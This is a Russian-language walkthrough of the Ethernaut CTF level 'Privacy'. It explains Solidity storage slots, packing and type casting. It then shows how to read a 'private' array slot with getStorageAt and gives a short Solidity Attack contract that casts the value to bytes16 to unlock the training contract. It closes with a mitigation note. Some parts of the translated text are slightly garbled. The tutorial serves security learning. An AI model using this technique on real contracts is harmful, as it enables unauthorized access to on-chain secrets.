# 12 Конфиденциальность — объяснение Ethernaut
Добро пожаловать на вызов №12 « Конфиденциальность » из серии Open Zeppelin Ethernaut по захвату флага. В этом задании нам нужно разблокировать контракт .

Этот уровень имеет аналогичную предпосылку для испытания № 8 «Убежище» для всех, кто проходит его последовательно. В этой задаче мы узнали, что даже если видимость переменной состояния объявлена как частная, поскольку она хранится в сети, к ней может получить публичный доступ любой, используя правильные методы.
Опираясь на это понимание, мы столкнулись с немного более сложной задачей, требующей более глубокого понимания хранилища Solidity.
Хранилище состояний
Каждый смарт-контракт имеет выделенные 2²⁵⁶ слота, каждый из которых может содержать 32 байта данных. Эти слоты используются для последовательного хранения данных (по мере объявления переменных), поэтому выяснить, где хранятся данные, относительно просто.
Упаковка — в хранилище Solidity некоторые типы данных могут быть упакованы в один и тот же слот при условии, что комбинация упакованных элементов не превышает емкость слота (32 байта / 256 бит). Имея это в виду, порядок объявления переменных имеет значение, поскольку данные упаковки могут сэкономить газ.
Пример . Представьте, что вы храните три переменные: uint8 A
, uint B
и uint8 C
. Если эти переменные объявлены как ABC, они будут занимать 3 слота, потому что uint
размер по умолчанию равен 256 битам (32 байта), занимая весь второй слот, тем самым заставляя A и C занимать свои собственные слоты с обеих сторон. Более эффективным подходом было бы объявить их ACB, поскольку A и C имеют размер 1 байт и могут занимать один и тот же слот.
Приведение типов и преобразование
В Solidity есть два типа преобразований: неявные и явные.
Неявный — преобразования автоматически применяются компилятором и используются, когда преобразование имеет логический смысл, например, при преобразовании не происходит потери данных. Например, представьте себе преобразование a uint8
в a uint16
: вся информация из a uint8
поддерживается (без потерь) с помощью a uint16
; но обратное неверно.
Явные — преобразования позволяют выполнять приведение значений, когда логика не обязательно имеет смысл для компилятора, например, преобразование, которое приводит к потере данных. Примером этого является преобразование a в a : поскольку он не может поддерживать все данные битов более высокого порядка , они теряются.uint32
uint16
uint16
uint32
Примеры преобразования . Давайте рассмотрим некоторые преобразования между uint
размерами, чтобы увидеть, где именно теряются данные. Обратите внимание, как при приведении вверх: данные смещаются вправо (более низкий порядок) и освобождается пространство слева (более высокий порядок); при отбрасывании вниз: данные сдвигаются справа налево, при этом биты слева теряются.
1) Преобразование в меньший тип (теряет биты более высокого порядка)
uint32 A = 0x12345678;
uint16 B = uint32(A); // 0x5678
uint16 A = 0x1234;
uint32 B = uint32(A); // 0x00001234
1) Преобразование в меньшие байты (затраты на данные более высокого порядка)
bytes2 A = 0x1234;
bytes1 B = bytes1(A); // b = 0x12
bytes2 A = 0x1234;
bytes4 B = bytes4(B); // b = 0x12340000
Анализ контракта
^0.8.0
Начнем с того, что мы , как всегда, работаем с критическими изменениями компилятора , лучше всего указать точную версию, чтобы избежать неожиданного поведения в цепочке.
Переходя к объявлению переменных, вы заметите довольно большое количество (по сравнению с предыдущими уровнями) объявленных переменных состояния, некоторые частные, некоторые общедоступные.
// Slot 0 - 1-byte
bool public locked = true;
// Slot 1 - 32-bytes
uint256 public ID = block.timestamp;
// Slot 2 - 1-bytes
uint8 private flattening = 10;
// Slot 2 - 1-bytes
uint8 private denomination = 255;
// Slot 2 - 2-bytes
uint16 private awkwardness = uint16(block.timestamp);
// Slot 3, 4, 5 - 32-bytes each (Array)
bytes32[3] private data;
constructor(bytes32[3] memory _data) {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
Решение заключается в поиске определенного значения где-то в слотах хранения, к счастью, через консоль Ethernaut, которую мы можем использовать getStorageAt()
для возврата данных, хранящихся в конкретном слоте.
Чтобы получить представление о том, как выглядит каждый слот, мы запустим следующую команду для каждого слота:await web3.eth.getStorageAt(contract.address, 0)
Это должно вернуть что-то вроде этого:

Мы знаем, что ключ основан на index[2]
массиве data
, который явно находится в слоте 5 хранилища контракта. Поэтому наше решение будет состоять в том, чтобы преобразовать значение слота 5 в bytes16
и вызвать unlock
.
Мы будем использовать интерфейс, чтобы сообщить компилятору, какие функции мы будем использовать по адресу экземпляра уровня (переданному в constructor
).
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IPrivacy {
function unlock(bytes16 _key) external;
}
contract Attack {
IPrivacy private immutable target;
constructor(address _target) {
target = IPrivacy(_target);
}
function pwn(bytes32 _key) external {
bytes16 key = bytes16(_key); // Cast down
target.unlock(key);
}
}
Смягчение
Убедитесь, что личные данные никогда не хранятся в сети. При использовании правильных методов любые данные в цепочке могут быть восстановлены независимо от видимости. Одним из решений для обеспечения конфиденциальности в сети является ZK-Snarks , которое позволяет доказать, что кто-то владеет какой-то секретной частью данных, не раскрывая их ценности.